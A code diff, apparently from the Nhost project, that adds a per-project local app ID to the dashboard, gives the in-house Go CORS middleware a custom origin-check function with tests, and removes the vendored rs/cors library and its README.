dashboard/project.nix+2 −0 modified@@ -182,6 +182,7 @@ rec { export NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL=__NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL__ export NEXT_PUBLIC_NHOST_HASURA_API_URL=__NEXT_PUBLIC_NHOST_HASURA_API_URL__ export NEXT_PUBLIC_NHOST_CONFIGSERVER_URL=__NEXT_PUBLIC_NHOST_CONFIGSERVER_URL__ + export NEXT_PUBLIC_NHOST_APP_ID=__NEXT_PUBLIC_NHOST_APP_ID__ ''; buildPhase = '' @@ -256,6 +257,7 @@ rec { "NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL=__NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL__" "NEXT_PUBLIC_NHOST_HASURA_API_URL=__NEXT_PUBLIC_NHOST_HASURA_API_URL__" "NEXT_PUBLIC_NHOST_CONFIGSERVER_URL=__NEXT_PUBLIC_NHOST_CONFIGSERVER_URL__" + "NEXT_PUBLIC_NHOST_APP_ID=__NEXT_PUBLIC_NHOST_APP_ID__" ]; Entrypoint = [ "${entrypoint}/bin/docker-entrypoint.sh"
dashboard/src/features/orgs/utils/local-dashboard/index.ts+2 −2 modified@@ -4,10 +4,10 @@ import { type GetProjectQuery, Sla_Level_Enum, } from '@/utils/__generated__/graphql'; -import { getHasuraAdminSecret } from '@/utils/env'; +import { getHasuraAdminSecret, getLocalAppId } from '@/utils/env'; export const localApplication: GetProjectQuery['apps'][0] = { - id: '00000000-0000-0000-0000-000000000000', + id: getLocalAppId(), slug: 'local', name: 'local', appStates: [
dashboard/src/utils/env/env.ts+19 −0 modified@@ -124,3 +124,22 @@ export function getLogsWebsocketUrl() { export function getDashboardVersion() { return process.env.NEXT_PUBLIC_DASHBOARD_VERSION || '0.0.0-dev'; } + +const ZERO_UUID = '00000000-0000-0000-0000-000000000000'; + +/** + * App ID used by the local dashboard to talk to the CLI-managed configserver. + * The CLI generates and persists this UUID per project; the value is + * substituted into the Docker image at runtime by docker-entrypoint.sh. When + * the value is missing or has not been substituted (e.g. older CLI), we fall + * back to the legacy all-zeros UUID. + */ +export function getLocalAppId() { + const appId = process.env.NEXT_PUBLIC_NHOST_APP_ID; + + if (!appId || appId.startsWith('__')) { + return ZERO_UUID; + } + + return appId; +}
.github/workflows/cli_checks.yaml+3 −0 modified@@ -27,6 +27,7 @@ on: # lib - "internal/lib/clidocs/**" - "internal/lib/nhostclient/**" + - "internal/lib/oapi/**" # auth email templates (embedded into the CLI by `nhost init`) - "services/auth/email-templates/**" @@ -59,6 +60,8 @@ jobs: vendor/** cli/** internal/lib/clidocs/** + internal/lib/nhostclient/** + internal/lib/oapi/** services/auth/email-templates/** docs/**
go.mod+0 −2 modified@@ -35,7 +35,6 @@ require ( github.com/pb33f/libopenapi v0.21.12 github.com/pelletier/go-toml/v2 v2.2.4 github.com/pquerna/otp v1.5.0 - github.com/rs/cors/wrapper/gin v0.0.0-20240830163046-1084d89a1692 github.com/sirupsen/logrus v1.9.4 github.com/stretchr/testify v1.11.1 github.com/twilio/twilio-go v1.28.3 @@ -187,7 +186,6 @@ require ( github.com/quic-go/qpack v0.6.0 // indirect github.com/quic-go/quic-go v0.57.0 // indirect github.com/rivo/uniseg v0.4.7 // indirect - github.com/rs/cors v1.11.0 // indirect github.com/russross/blackfriday/v2 v2.1.0 // indirect github.com/sergi/go-diff v1.4.0 // indirect github.com/skeema/knownhosts v1.3.2 // indirect
go.sum+0 −4 modified@@ -439,10 +439,6 @@ github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= -github.com/rs/cors v1.11.0 h1:0B9GE/r9Bc2UxRMMtymBkHTenPkHDv0CW4Y98GBY+po= -github.com/rs/cors v1.11.0/go.mod h1:XyqrcTp5zjWr1wsJ8PIRZssZ8b/WMcMf71DJnit4EMU= -github.com/rs/cors/wrapper/gin v0.0.0-20240830163046-1084d89a1692 h1:lwzJgPw5Y6pvC8mwbedX9HfdywUKcpNdcviftZsb1uY= -github.com/rs/cors/wrapper/gin v0.0.0-20240830163046-1084d89a1692/go.mod h1:742Ialb8SOs5yB2PqRDzFcyND3280PoaS5/wcKQUQKE= github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/sergi/go-diff v1.4.0 h1:n/SP9D5ad1fORl+llWyN+D6qoUETXNZARKjyY2/KVCw=
internal/lib/oapi/middleware/cors.go+36 −5 modified@@ -10,13 +10,26 @@ import ( // CORSOptions configures the CORS middleware behavior. // -// The middleware supports three strategies for handling Access-Control-Allow-Headers: +// The middleware supports several strategies for gating Access-Control-Allow-Origin: +// - AllowOriginFunc non-nil: the function decides; AllowedOrigins is ignored. +// - AllowedOrigins nil: all origins allowed. +// - AllowedOrigins contains "*": all origins allowed. +// - AllowedOrigins non-empty: only listed origins allowed. +// - AllowedOrigins empty slice: all origins denied. +// +// And three strategies for handling Access-Control-Allow-Headers: // - nil (default): Reflects the Access-Control-Request-Headers from the client // - empty slice: Denies all headers (no Access-Control-Allow-Headers header is set) // - non-empty slice: Uses the specified headers type CORSOptions struct { + // AllowOriginFunc, when non-nil, is consulted to decide whether an origin + // is allowed. It takes precedence over AllowedOrigins. Use this when the + // allowed origins are not a fixed enumerable list (e.g. a regex-matched + // pattern). + AllowOriginFunc func(origin string) bool + // AllowedOrigins is a list of origins permitted to make cross-origin requests. - // Use "*" or nil slice to allow all origins. + // Use "*" or nil slice to allow all origins. Ignored when AllowOriginFunc is set. AllowedOrigins []string // AllowedMethods is a list of HTTP methods the client is permitted to use. @@ -84,10 +97,10 @@ func CORS(opts CORSOptions) gin.HandlerFunc { //nolint:cyclop,funlen allowedHeaders = strings.Join(opts.AllowedHeaders, ", ") } + originAllowed := allowOriginFunc(opts) + f := func(c *gin.Context, origin string) { - if opts.AllowedOrigins != nil && - !slices.Contains(opts.AllowedOrigins, origin) && - !slices.Contains(opts.AllowedOrigins, "*") { + if !originAllowed(origin) { return } @@ -138,3 +151,21 @@ func CORS(opts CORSOptions) gin.HandlerFunc { //nolint:cyclop,funlen c.Next() } } + +// allowOriginFunc picks an origin-check strategy once at construction time +// and returns a closure that the per-request path can call without re-doing +// the strategy switch (or scanning AllowedOrigins for "*") on every request. +func allowOriginFunc(opts CORSOptions) func(origin string) bool { + switch { + case opts.AllowOriginFunc != nil: + return opts.AllowOriginFunc + case opts.AllowedOrigins == nil, slices.Contains(opts.AllowedOrigins, "*"): + return func(string) bool { return true } + default: + allowed := opts.AllowedOrigins + + return func(origin string) bool { + return slices.Contains(allowed, origin) + } + } +}
internal/lib/oapi/middleware/cors_test.go+50 −0 modified@@ -3,6 +3,7 @@ package middleware_test import ( "net/http" "net/http/httptest" + "strings" "testing" "github.com/gin-gonic/gin" @@ -264,6 +265,55 @@ func TestCORS(t *testing.T) { //nolint:maintidx }, expectNext: true, }, + { + name: "AllowOriginFunc accepts matching origin", + opts: middleware.CORSOptions{ //nolint:exhaustruct + AllowOriginFunc: func(origin string) bool { + return strings.HasSuffix(origin, ".example.com") + }, + AllowedMethods: []string{"GET"}, + }, + requestMethod: "GET", + requestOrigin: "https://app.example.com", + requestHeaders: map[string]string{}, + wantStatus: http.StatusOK, + wantHeaders: http.Header{ + "Access-Control-Allow-Origin": []string{"https://app.example.com"}, + }, + expectNext: true, + }, + { + name: "AllowOriginFunc rejects non-matching origin", + opts: middleware.CORSOptions{ //nolint:exhaustruct + AllowOriginFunc: func(origin string) bool { + return strings.HasSuffix(origin, ".example.com") + }, + AllowedMethods: []string{"GET"}, + }, + requestMethod: "GET", + requestOrigin: "https://malicious.com", + requestHeaders: map[string]string{}, + wantStatus: http.StatusOK, + wantHeaders: http.Header{}, + expectNext: true, + }, + { + name: "AllowOriginFunc takes precedence over AllowedOrigins", + opts: middleware.CORSOptions{ //nolint:exhaustruct + // AllowedOrigins would deny everything, but AllowOriginFunc accepts. + AllowedOrigins: []string{"https://different.com"}, + AllowOriginFunc: func(_ string) bool { return true }, + AllowedMethods: []string{"GET"}, + }, + requestMethod: "GET", + requestOrigin: "https://anything.com", + requestHeaders: map[string]string{}, + wantStatus: http.StatusOK, + wantHeaders: http.Header{ + "Access-Control-Allow-Origin": []string{"https://anything.com"}, + }, + expectNext: true, + }, } for _, tc := range cases {
services/auth/go/cmd/serve.go+1 −0 modified@@ -1371,6 +1371,7 @@ func getDependencies( //nolint:ireturn func getCORSOptions() oapimw.CORSOptions { return oapimw.CORSOptions{ + AllowOriginFunc: nil, AllowedOrigins: []string{"*"}, AllowedMethods: []string{"POST", "GET"}, AllowedHeaders: nil,
services/storage/cmd/serve.go+3 −2 modified@@ -61,8 +61,9 @@ const ( func getCORSOptions(cmd *cli.Command) oapimw.CORSOptions { return oapimw.CORSOptions{ - AllowedOrigins: cmd.StringSlice(flagCorsAllowOrigins), - AllowedMethods: []string{"GET", "PUT", "POST", "HEAD", "DELETE"}, + AllowOriginFunc: nil, + AllowedOrigins: cmd.StringSlice(flagCorsAllowOrigins), + AllowedMethods: []string{"GET", "PUT", "POST", "HEAD", "DELETE"}, AllowedHeaders: []string{ "Authorization", "Origin", "if-match", "if-none-match", "if-modified-since", "if-unmodified-since", "x-hasura-admin-secret", "x-nhost-bucket-id", "x-nhost-file-name", "x-nhost-file-id",
vendor/github.com/rs/cors/cors.go+0 −502 removed@@ -1,502 +0,0 @@ -/* -Package cors is net/http handler to handle CORS related requests -as defined by http://www.w3.org/TR/cors/ - -You can configure it by passing an option struct to cors.New: - - c := cors.New(cors.Options{ - AllowedOrigins: []string{"foo.com"}, - AllowedMethods: []string{http.MethodGet, http.MethodPost, http.MethodDelete}, - AllowCredentials: true, - }) - -Then insert the handler in the chain: - - handler = c.Handler(handler) - -See Options documentation for more options. - -The resulting handler is a standard net/http handler. -*/ -package cors - -import ( - "log" - "net/http" - "os" - "strconv" - "strings" - - "github.com/rs/cors/internal" -) - -var headerVaryOrigin = []string{"Origin"} -var headerOriginAll = []string{"*"} -var headerTrue = []string{"true"} - -// Options is a configuration container to setup the CORS middleware. -type Options struct { - // AllowedOrigins is a list of origins a cross-domain request can be executed from. - // If the special "*" value is present in the list, all origins will be allowed. - // An origin may contain a wildcard (*) to replace 0 or more characters - // (i.e.: http://*.domain.com). Usage of wildcards implies a small performance penalty. - // Only one wildcard can be used per origin. - // Default value is ["*"] - AllowedOrigins []string - // AllowOriginFunc is a custom function to validate the origin. It take the - // origin as argument and returns true if allowed or false otherwise. If - // this option is set, the content of `AllowedOrigins` is ignored. - AllowOriginFunc func(origin string) bool - // AllowOriginRequestFunc is a custom function to validate the origin. It - // takes the HTTP Request object and the origin as argument and returns true - // if allowed or false otherwise. If headers are used take the decision, - // consider using AllowOriginVaryRequestFunc instead. If this option is set, - // the contents of `AllowedOrigins`, `AllowOriginFunc` are ignored. - // - // Deprecated: use `AllowOriginVaryRequestFunc` instead. - AllowOriginRequestFunc func(r *http.Request, origin string) bool - // AllowOriginVaryRequestFunc is a custom function to validate the origin. - // It takes the HTTP Request object and the origin as argument and returns - // true if allowed or false otherwise with a list of headers used to take - // that decision if any so they can be added to the Vary header. If this - // option is set, the contents of `AllowedOrigins`, `AllowOriginFunc` and - // `AllowOriginRequestFunc` are ignored. - AllowOriginVaryRequestFunc func(r *http.Request, origin string) (bool, []string) - // AllowedMethods is a list of methods the client is allowed to use with - // cross-domain requests. Default value is simple methods (HEAD, GET and POST). - AllowedMethods []string - // AllowedHeaders is list of non simple headers the client is allowed to use with - // cross-domain requests. - // If the special "*" value is present in the list, all headers will be allowed. - // Default value is []. - AllowedHeaders []string - // ExposedHeaders indicates which headers are safe to expose to the API of a CORS - // API specification - ExposedHeaders []string - // MaxAge indicates how long (in seconds) the results of a preflight request - // can be cached. Default value is 0, which stands for no - // Access-Control-Max-Age header to be sent back, resulting in browsers - // using their default value (5s by spec). If you need to force a 0 max-age, - // set `MaxAge` to a negative value (ie: -1). - MaxAge int - // AllowCredentials indicates whether the request can include user credentials like - // cookies, HTTP authentication or client side SSL certificates. - AllowCredentials bool - // AllowPrivateNetwork indicates whether to accept cross-origin requests over a - // private network. - AllowPrivateNetwork bool - // OptionsPassthrough instructs preflight to let other potential next handlers to - // process the OPTIONS method. Turn this on if your application handles OPTIONS. - OptionsPassthrough bool - // Provides a status code to use for successful OPTIONS requests. - // Default value is http.StatusNoContent (204). - OptionsSuccessStatus int - // Debugging flag adds additional output to debug server side CORS issues - Debug bool - // Adds a custom logger, implies Debug is true - Logger Logger -} - -// Logger generic interface for logger -type Logger interface { - Printf(string, ...interface{}) -} - -// Cors http handler -type Cors struct { - // Debug logger - Log Logger - // Normalized list of plain allowed origins - allowedOrigins []string - // List of allowed origins containing wildcards - allowedWOrigins []wildcard - // Optional origin validator function - allowOriginFunc func(r *http.Request, origin string) (bool, []string) - // Normalized list of allowed headers - // Note: the Fetch standard guarantees that CORS-unsafe request-header names - // (i.e. the values listed in the Access-Control-Request-Headers header) - // are unique and sorted; - // see https://fetch.spec.whatwg.org/#cors-unsafe-request-header-names. - allowedHeaders internal.SortedSet - // Normalized list of allowed methods - allowedMethods []string - // Pre-computed normalized list of exposed headers - exposedHeaders []string - // Pre-computed maxAge header value - maxAge []string - // Set to true when allowed origins contains a "*" - allowedOriginsAll bool - // Set to true when allowed headers contains a "*" - allowedHeadersAll bool - // Status code to use for successful OPTIONS requests - optionsSuccessStatus int - allowCredentials bool - allowPrivateNetwork bool - optionPassthrough bool - preflightVary []string -} - -// New creates a new Cors handler with the provided options. -func New(options Options) *Cors { - c := &Cors{ - allowCredentials: options.AllowCredentials, - allowPrivateNetwork: options.AllowPrivateNetwork, - optionPassthrough: options.OptionsPassthrough, - Log: options.Logger, - } - if options.Debug && c.Log == nil { - c.Log = log.New(os.Stdout, "[cors] ", log.LstdFlags) - } - - // Allowed origins - switch { - case options.AllowOriginVaryRequestFunc != nil: - c.allowOriginFunc = options.AllowOriginVaryRequestFunc - case options.AllowOriginRequestFunc != nil: - c.allowOriginFunc = func(r *http.Request, origin string) (bool, []string) { - return options.AllowOriginRequestFunc(r, origin), nil - } - case options.AllowOriginFunc != nil: - c.allowOriginFunc = func(r *http.Request, origin string) (bool, []string) { - return options.AllowOriginFunc(origin), nil - } - case len(options.AllowedOrigins) == 0: - if c.allowOriginFunc == nil { - // Default is all origins - c.allowedOriginsAll = true - } - default: - c.allowedOrigins = []string{} - c.allowedWOrigins = []wildcard{} - for _, origin := range options.AllowedOrigins { - // Note: for origins matching, the spec requires a case-sensitive matching. - // As it may error prone, we chose to ignore the spec here. - origin = strings.ToLower(origin) - if origin == "*" { - // If "*" is present in the list, turn the whole list into a match all - c.allowedOriginsAll = true - c.allowedOrigins = nil - c.allowedWOrigins = nil - break - } else if i := strings.IndexByte(origin, '*'); i >= 0 { - // Split the origin in two: start and end string without the * - w := wildcard{origin[0:i], origin[i+1:]} - c.allowedWOrigins = append(c.allowedWOrigins, w) - } else { - c.allowedOrigins = append(c.allowedOrigins, origin) - } - } - } - - // Allowed Headers - // Note: the Fetch standard guarantees that CORS-unsafe request-header names - // (i.e. the values listed in the Access-Control-Request-Headers header) - // are lowercase; see https://fetch.spec.whatwg.org/#cors-unsafe-request-header-names. - if len(options.AllowedHeaders) == 0 { - // Use sensible defaults - c.allowedHeaders = internal.NewSortedSet("accept", "content-type", "x-requested-with") - } else { - normalized := convert(options.AllowedHeaders, strings.ToLower) - c.allowedHeaders = internal.NewSortedSet(normalized...) - for _, h := range options.AllowedHeaders { - if h == "*" { - c.allowedHeadersAll = true - c.allowedHeaders = internal.SortedSet{} - break - } - } - } - - // Allowed Methods - if len(options.AllowedMethods) == 0 { - // Default is spec's "simple" methods - c.allowedMethods = []string{http.MethodGet, http.MethodPost, http.MethodHead} - } else { - c.allowedMethods = options.AllowedMethods - } - - // Options Success Status Code - if options.OptionsSuccessStatus == 0 { - c.optionsSuccessStatus = http.StatusNoContent - } else { - c.optionsSuccessStatus = options.OptionsSuccessStatus - } - - // Pre-compute exposed headers header value - if len(options.ExposedHeaders) > 0 { - c.exposedHeaders = []string{strings.Join(convert(options.ExposedHeaders, http.CanonicalHeaderKey), ", ")} - } - - // Pre-compute prefight Vary header to save allocations - if c.allowPrivateNetwork { - c.preflightVary = []string{"Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Request-Private-Network"} - } else { - c.preflightVary = []string{"Origin, Access-Control-Request-Method, Access-Control-Request-Headers"} - } - - // Precompute max-age - if options.MaxAge > 0 { - c.maxAge = []string{strconv.Itoa(options.MaxAge)} - } else if options.MaxAge < 0 { - c.maxAge = []string{"0"} - } - - return c -} - -// Default creates a new Cors handler with default options. -func Default() *Cors { - return New(Options{}) -} - -// AllowAll create a new Cors handler with permissive configuration allowing all -// origins with all standard methods with any header and credentials. -func AllowAll() *Cors { - return New(Options{ - AllowedOrigins: []string{"*"}, - AllowedMethods: []string{ - http.MethodHead, - http.MethodGet, - http.MethodPost, - http.MethodPut, - http.MethodPatch, - http.MethodDelete, - }, - AllowedHeaders: []string{"*"}, - AllowCredentials: false, - }) -} - -// Handler apply the CORS specification on the request, and add relevant CORS headers -// as necessary. -func (c *Cors) Handler(h http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - if r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != "" { - c.logf("Handler: Preflight request") - c.handlePreflight(w, r) - // Preflight requests are standalone and should stop the chain as some other - // middleware may not handle OPTIONS requests correctly. One typical example - // is authentication middleware ; OPTIONS requests won't carry authentication - // headers (see #1) - if c.optionPassthrough { - h.ServeHTTP(w, r) - } else { - w.WriteHeader(c.optionsSuccessStatus) - } - } else { - c.logf("Handler: Actual request") - c.handleActualRequest(w, r) - h.ServeHTTP(w, r) - } - }) -} - -// HandlerFunc provides Martini compatible handler -func (c *Cors) HandlerFunc(w http.ResponseWriter, r *http.Request) { - if r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != "" { - c.logf("HandlerFunc: Preflight request") - c.handlePreflight(w, r) - - w.WriteHeader(c.optionsSuccessStatus) - } else { - c.logf("HandlerFunc: Actual request") - c.handleActualRequest(w, r) - } -} - -// Negroni compatible interface -func (c *Cors) ServeHTTP(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) { - if r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != "" { - c.logf("ServeHTTP: Preflight request") - c.handlePreflight(w, r) - // Preflight requests are standalone and should stop the chain as some other - // middleware may not handle OPTIONS requests correctly. One typical example - // is authentication middleware ; OPTIONS requests won't carry authentication - // headers (see #1) - if c.optionPassthrough { - next(w, r) - } else { - w.WriteHeader(c.optionsSuccessStatus) - } - } else { - c.logf("ServeHTTP: Actual request") - c.handleActualRequest(w, r) - next(w, r) - } -} - -// handlePreflight handles pre-flight CORS requests -func (c *Cors) handlePreflight(w http.ResponseWriter, r *http.Request) { - headers := w.Header() - origin := r.Header.Get("Origin") - - if r.Method != http.MethodOptions { - c.logf(" Preflight aborted: %s!=OPTIONS", r.Method) - return - } - // Always set Vary headers - // see https://github.com/rs/cors/issues/10, - // https://github.com/rs/cors/commit/dbdca4d95feaa7511a46e6f1efb3b3aa505bc43f#commitcomment-12352001 - if vary, found := headers["Vary"]; found { - headers["Vary"] = append(vary, c.preflightVary[0]) - } else { - headers["Vary"] = c.preflightVary - } - allowed, additionalVaryHeaders := c.isOriginAllowed(r, origin) - if len(additionalVaryHeaders) > 0 { - headers.Add("Vary", strings.Join(convert(additionalVaryHeaders, http.CanonicalHeaderKey), ", ")) - } - - if origin == "" { - c.logf(" Preflight aborted: empty origin") - return - } - if !allowed { - c.logf(" Preflight aborted: origin '%s' not allowed", origin) - return - } - - reqMethod := r.Header.Get("Access-Control-Request-Method") - if !c.isMethodAllowed(reqMethod) { - c.logf(" Preflight aborted: method '%s' not allowed", reqMethod) - return - } - // Note: the Fetch standard guarantees that at most one - // Access-Control-Request-Headers header is present in the preflight request; - // see step 5.2 in https://fetch.spec.whatwg.org/#cors-preflight-fetch-0. - reqHeaders, found := first(r.Header, "Access-Control-Request-Headers") - if found && !c.allowedHeadersAll && !c.allowedHeaders.Subsumes(reqHeaders[0]) { - c.logf(" Preflight aborted: headers '%v' not allowed", reqHeaders[0]) - return - } - if c.allowedOriginsAll { - headers["Access-Control-Allow-Origin"] = headerOriginAll - } else { - headers["Access-Control-Allow-Origin"] = r.Header["Origin"] - } - // Spec says: Since the list of methods can be unbounded, simply returning the method indicated - // by Access-Control-Request-Method (if supported) can be enough - headers["Access-Control-Allow-Methods"] = r.Header["Access-Control-Request-Method"] - if found && len(reqHeaders[0]) > 0 { - // Spec says: Since the list of headers can be unbounded, simply returning supported headers - // from Access-Control-Request-Headers can be enough - headers["Access-Control-Allow-Headers"] = reqHeaders - } - if c.allowCredentials { - headers["Access-Control-Allow-Credentials"] = headerTrue - } - if c.allowPrivateNetwork && r.Header.Get("Access-Control-Request-Private-Network") == "true" { - headers["Access-Control-Allow-Private-Network"] = headerTrue - } - if len(c.maxAge) > 0 { - headers["Access-Control-Max-Age"] = c.maxAge - } - if c.Log != nil { - c.logf(" Preflight response headers: %v", headers) - } -} - -// handleActualRequest handles simple cross-origin requests, actual request or redirects -func (c *Cors) handleActualRequest(w http.ResponseWriter, r *http.Request) { - headers := w.Header() - origin := r.Header.Get("Origin") - - allowed, additionalVaryHeaders := c.isOriginAllowed(r, origin) - - // Always set Vary, see https://github.com/rs/cors/issues/10 - if vary := headers["Vary"]; vary == nil { - headers["Vary"] = headerVaryOrigin - } else { - headers["Vary"] = append(vary, headerVaryOrigin[0]) - } - if len(additionalVaryHeaders) > 0 { - headers.Add("Vary", strings.Join(convert(additionalVaryHeaders, http.CanonicalHeaderKey), ", ")) - } - if origin == "" { - c.logf(" Actual request no headers added: missing origin") - return - } - if !allowed { - c.logf(" Actual request no headers added: origin '%s' not allowed", origin) - return - } - - // Note that spec does define a way to specifically disallow a simple method like GET or - // POST. Access-Control-Allow-Methods is only used for pre-flight requests and the - // spec doesn't instruct to check the allowed methods for simple cross-origin requests. - // We think it's a nice feature to be able to have control on those methods though. - if !c.isMethodAllowed(r.Method) { - c.logf(" Actual request no headers added: method '%s' not allowed", r.Method) - return - } - if c.allowedOriginsAll { - headers["Access-Control-Allow-Origin"] = headerOriginAll - } else { - headers["Access-Control-Allow-Origin"] = r.Header["Origin"] - } - if len(c.exposedHeaders) > 0 { - headers["Access-Control-Expose-Headers"] = c.exposedHeaders - } - if c.allowCredentials { - headers["Access-Control-Allow-Credentials"] = headerTrue - } - if c.Log != nil { - c.logf(" Actual response added headers: %v", headers) - } -} - -// convenience method. checks if a logger is set. -func (c *Cors) logf(format string, a ...interface{}) { - if c.Log != nil { - c.Log.Printf(format, a...) - } -} - -// check the Origin of a request. No origin at all is also allowed. -func (c *Cors) OriginAllowed(r *http.Request) bool { - origin := r.Header.Get("Origin") - allowed, _ := c.isOriginAllowed(r, origin) - return allowed -} - -// isOriginAllowed checks if a given origin is allowed to perform cross-domain requests -// on the endpoint -func (c *Cors) isOriginAllowed(r *http.Request, origin string) (allowed bool, varyHeaders []string) { - if c.allowOriginFunc != nil { - return c.allowOriginFunc(r, origin) - } - if c.allowedOriginsAll { - return true, nil - } - origin = strings.ToLower(origin) - for _, o := range c.allowedOrigins { - if o == origin { - return true, nil - } - } - for _, w := range c.allowedWOrigins { - if w.match(origin) { - return true, nil - } - } - return false, nil -} - -// isMethodAllowed checks if a given method can be used as part of a cross-domain request -// on the endpoint -func (c *Cors) isMethodAllowed(method string) bool { - if len(c.allowedMethods) == 0 { - // If no method allowed, always return false, even for preflight request - return false - } - if method == http.MethodOptions { - // Always allow preflight requests - return true - } - for _, m := range c.allowedMethods { - if m == method { - return true - } - } - return false -}
vendor/github.com/rs/cors/internal/sortedset.go+0 −113 removed@@ -1,113 +0,0 @@ -// adapted from github.com/jub0bs/cors -package internal - -import ( - "sort" - "strings" -) - -// A SortedSet represents a mathematical set of strings sorted in -// lexicographical order. -// Each element has a unique position ranging from 0 (inclusive) -// to the set's cardinality (exclusive). -// The zero value represents an empty set. -type SortedSet struct { - m map[string]int - maxLen int -} - -// NewSortedSet returns a SortedSet that contains all of elems, -// but no other elements. -func NewSortedSet(elems ...string) SortedSet { - sort.Strings(elems) - m := make(map[string]int) - var maxLen int - i := 0 - for _, s := range elems { - if _, exists := m[s]; exists { - continue - } - m[s] = i - i++ - maxLen = max(maxLen, len(s)) - } - return SortedSet{ - m: m, - maxLen: maxLen, - } -} - -// Size returns the cardinality of set. -func (set SortedSet) Size() int { - return len(set.m) -} - -// String sorts joins the elements of set (in lexicographical order) -// with a comma and returns the resulting string. -func (set SortedSet) String() string { - elems := make([]string, len(set.m)) - for elem, i := range set.m { - elems[i] = elem // safe indexing, by construction of SortedSet - } - return strings.Join(elems, ",") -} - -// Subsumes reports whether csv is a sequence of comma-separated names that are -// - all elements of set, -// - sorted in lexicographically order, -// - unique. -func (set SortedSet) Subsumes(csv string) bool { - if csv == "" { - return true - } - posOfLastNameSeen := -1 - chunkSize := set.maxLen + 1 // (to accommodate for at least one comma) - for { - // As a defense against maliciously long names in csv, - // we only process at most chunkSize bytes per iteration. - end := min(len(csv), chunkSize) - comma := strings.IndexByte(csv[:end], ',') - var name string - if comma == -1 { - name = csv - } else { - name = csv[:comma] - } - pos, found := set.m[name] - if !found { - return false - } - // The names in csv are expected to be sorted in lexicographical order - // and appear at most once in csv. - // Therefore, the positions (in set) of the names that - // appear in csv should form a strictly increasing sequence. - // If that's not actually the case, bail out. - if pos <= posOfLastNameSeen { - return false - } - posOfLastNameSeen = pos - if comma < 0 { // We've now processed all the names in csv. - break - } - csv = csv[comma+1:] - } - return true -} - -// TODO: when updating go directive to 1.21 or later, -// use min builtin instead. -func min(a, b int) int { - if a < b { - return a - } - return b -} - -// TODO: when updating go directive to 1.21 or later, -// use max builtin instead. -func max(a, b int) int { - if a > b { - return a - } - return b -}
vendor/github.com/rs/cors/LICENSE+0 −19 removed@@ -1,19 +0,0 @@ -Copyright (c) 2014 Olivier Poitrey <rs@dailymotion.com> - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE.
vendor/github.com/rs/cors/README.md+0 −125 removed@@ -1,125 +0,0 @@ -# Go CORS handler [](https://godoc.org/github.com/rs/cors) [](https://raw.githubusercontent.com/rs/cors/master/LICENSE) [](https://raw.githack.com/wiki/rs/cors/coverage.html) - -CORS is a `net/http` handler implementing [Cross Origin Resource Sharing W3 specification](http://www.w3.org/TR/cors/) in Golang. - -## Getting Started - -After installing Go and setting up your [GOPATH](http://golang.org/doc/code.html#GOPATH), create your first `.go` file. We'll call it `server.go`. - -```go -package main - -import ( - "net/http" - - "github.com/rs/cors" -) - -func main() { - mux := http.NewServeMux() - mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { - w.Header().Set("Content-Type", "application/json") - w.Write([]byte("{\"hello\": \"world\"}")) - }) - - // cors.Default() setup the middleware with default options being - // all origins accepted with simple methods (GET, POST). See - // documentation below for more options. - handler := cors.Default().Handler(mux) - http.ListenAndServe(":8080", handler) -} -``` - -Install `cors`: - - go get github.com/rs/cors - -Then run your server: - - go run server.go - -The server now runs on `localhost:8080`: - - $ curl -D - -H 'Origin: http://foo.com' http://localhost:8080/ - HTTP/1.1 200 OK - Access-Control-Allow-Origin: foo.com - Content-Type: application/json - Date: Sat, 25 Oct 2014 03:43:57 GMT - Content-Length: 18 - - {"hello": "world"} - -### Allow * With Credentials Security Protection - -This library has been modified to avoid a well known security issue when configured with `AllowedOrigins` to `*` and `AllowCredentials` to `true`. Such setup used to make the library reflects the request `Origin` header value, working around a security protection embedded into the standard that makes clients to refuse such configuration. This behavior has been removed with [#55](https://github.com/rs/cors/issues/55) and [#57](https://github.com/rs/cors/issues/57). - -If you depend on this behavior and understand the implications, you can restore it using the `AllowOriginFunc` with `func(origin string) {return true}`. - -Please refer to [#55](https://github.com/rs/cors/issues/55) for more information about the security implications. - -### More Examples - -* `net/http`: [examples/nethttp/server.go](https://github.com/rs/cors/blob/master/examples/nethttp/server.go) -* [Goji](https://goji.io): 